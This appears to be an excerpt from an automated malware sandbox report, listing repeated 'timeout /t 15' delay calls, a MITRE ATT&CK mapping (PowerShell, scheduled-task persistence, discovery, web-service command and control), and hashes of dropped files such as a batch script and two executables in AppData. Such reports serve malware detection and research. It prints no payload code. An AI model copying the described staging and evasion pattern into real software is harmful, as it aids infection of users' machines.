        Delays execution with timeout.exe
        
        PID:3596
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        Delays execution with timeout.exe
        
        PID:4588
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        Delays execution with timeout.exe
        
        PID:1156
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        
        PID:3516
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        
        PID:3980
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        
        PID:3700
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        Delays execution with timeout.exe
        
        PID:2936
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        
        PID:4268
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        
        PID:5056
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        Delays execution with timeout.exe
        
        PID:1172
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        Delays execution with timeout.exe
        
        PID:2200
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        
        PID:3248
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        
        PID:4560
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        
        PID:4376
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        Delays execution with timeout.exe
        
        PID:2080
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        
        PID:4544
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        
        PID:4380
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        
        PID:2552
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        Delays execution with timeout.exe
        
        PID:2424
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        Delays execution with timeout.exe
        
        PID:1544
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        Delays execution with timeout.exe
        
        PID:1496
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        
        PID:3968
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        Delays execution with timeout.exe
        
        PID:764
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        Delays execution with timeout.exe
        
        PID:1640
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        
        PID:1688

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Persistence

Scheduled Task/Job

T1053

Privilege Escalation

Scheduled Task/Job

T1053

Defense Evasion

Credential Access

Discovery

Process Discovery

T1057

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 3KB
SHA256 88cc4f40f0eb08ff5c487d6db341b046cc63b22534980aca66a9f8480692f3a8
MD5 556084f2c6d459c116a69d6fedcc4105
SHA1 633e89b9a1e77942d822d14de6708430a3944dbc
SHA512 0f6557027b098e45556af93e0be1db9a49c6416dc4afcff2cc2135a8a1ad4f1cf7185541ddbe6c768aefaf2c1a8e52d5282a538d15822d19932f22316edd283e
MD5 SHA1 SHA512

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 87e250ac493525f87051f19207d735b28aa827d025f2865ffc40ba775db9fc27
MD5 d336b18e0e02e045650ac4f24c7ecaa7
SHA1 87ce962bb3aa89fc06d5eb54f1a225ae76225b1c
SHA512 e538e4ecf771db02745061f804a0db31f59359f32195b4f8c276054779509eaea63665adf6fedbb1953fa14eb471181eb085880341c7368330d8c3a26605bb18
MD5 SHA1 SHA512

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 e75b17396d67c1520afbde5ecf8b0ccda65f7833c2e7e76e3fddbbb69235d953
MD5 a5c074e56305e761d7cbc42993300e1c
SHA1 39b2e23ba5c56b4f332b3607df056d8df23555bf
SHA512 c63d298fc3ab096d9baff606642b4a9c98a707150192191f4a6c5feb81a907495b384760d11cecbff904c486328072548ac76884f14c032c0c1ae0ca640cb5e8
MD5 SHA1 SHA512

Submit Download

53A0.bat

Path C:\Users\Admin\AppData\Local\Temp\539E.tmp\539F.tmp\53A0.bat
Size 6KB
SHA256 de5b724817a3800a29826d6b81ac09702124c7c0727b91a34846d3e7c68dc6bd
MD5 7c45cbdbc20b9fe4c9848058f5c7f37a
SHA1 aa144a98cccfc36cd0d4da2300418965bd0fe09c
SHA512 a9681669a09bd6d3233bde3a985f501d426265ab317278a0a754c15adc6b2636526b3de94c86eb5fcd9ffe36420c27f344af1c20cbe020a526403ff12310ed05
SSDEEP 192:Ps70wx4Ln/57EZqxdBOYwdvAx0pOp8UZfFr/U7TGXsQxRywNY6jc:k70m4LR7EGNwdvEKTGXHsw66A
MD5 SHA1 SHA512 SSDEEP

Submit Download

__PSScriptPolicyTest_atbr5fhn.c00.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_atbr5fhn.c00.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
MD5 SHA1 SHA512

Submit Download

iefhs54m.ypf0.exe

Path C:\Users\Admin\AppData\Roaming\iefhs54m.ypf0.exe
Size 355KB
SHA256 f9d1a3b43fdeca1691af785f6bdfb445c224e46e58be9d27ba4d77801ef2183f
MD5 c93d65bc0ed7ee88d266b4be759301f8
SHA1 8c0c415ba824737c61904676e7132094f5710099
SHA512 7a66f73d0d4ebd3eb160f87842883d427a3a85a75cb716db96b27670f2c96e75bf396fa2ac65f05413c1a7f16d961d242676320228e1d0c805318a88236f55f1
SSDEEP 6144:g2qezd2ab1/RuHk+M3k8M3W7XomjOJCqshrOlumY6DMIewgxQfqssb:gf2R/EEkCQFYDwRq3
MD5 SHA1 SHA512 SSDEEP

Submit Download

iefhs54m.ypf1.exe

Path C:\Users\Admin\AppData\Roaming\iefhs54m.ypf1.exe
Size 126KB
SHA256 de1bdf892cd6e60b8c76e3560ca4dd47e2e08dd165d5496ab1fd1e7684cf36e3
MD5 af8d7feee43adb378afb80ea88fcbe10
SHA1 ab96ae00f8007de8d57f54bb6b73a1723b485ccf
SHA512 721bfb01a185ef87e3a218c7173fcce6da01e5d511f87aebe226e48a2beec0004d9dc5ce107e23c69796ab604efc99b494cdce7dc71ddfed3cd75509e83f513d
SSDEEP 3072:W2sMWkzbJh1qZ9QW69hd1MMdxPe9N9uA0hu9TBfcX2Ggf:3bJhs7QW69hd1MMdxPe9N9uA0hu9TBnp
MD5 SHA1 SHA512 SSDEEP

Submit Download

memory/1488-41-0x00007FFB1A640000-0x00007FFB1B101000-memory.dmp

Download

memory/1488-16-0x00007FFB1A640000-0x00007FFB1B101000-memory.dmp

Download

memory/1488-15-0x00007FFB1A640000-0x00007FFB1B101000-memory.dmp

Download

memory/1488-14-0x00007FFB1A640000-0x00007FFB1B101000-memory.dmp

Download

memory/1488-13-0x00007FFB1A640000-0x00007FFB1B101000-memory.dmp

Download

memory/1488-8-0x000001C06F920000-0x000001C06F942000-memory.dmp

Download

memory/1488-17-0x00007FFB1A640000-0x00007FFB1B101000-memory.dmp

Download

memory/3248-1-0x00007FFB1A643000-0x00007FFB1A645000-memory.dmp

Download

memory/3248-0-0x0000000000DF0000-0x0000000000DF8000-memory.dmp

Download

memory/4948-60-0x0000000000560000-0x0000000000569000-memory.dmp

Download

memory/4948-66-0x00000000768D0000-0x0000000076AE5000-memory.dmp

Download

memory/4948-64-0x00007FFB38A90000-0x00007FFB38C85000-memory.dmp

Download

memory/4948-63-0x0000000002440000-0x0000000002840000-memory.dmp

Download

memory/5092-55-0x00000000030A0000-0x00000000034A0000-memory.dmp

Download

memory/5092-61-0x0000000000500000-0x000000000056D000-memory.dmp

Download

memory/5092-59-0x00000000768D0000-0x0000000076AE5000-memory.dmp

Download

memory/5092-57-0x00007FFB38A90000-0x00007FFB38C85000-memory.dmp

Download

memory/5092-56-0x00000000030A0000-0x00000000034A0000-memory.dmp

Download

memory/5092-31-0x0000000000500000-0x000000000056D000-memory.dmp

Download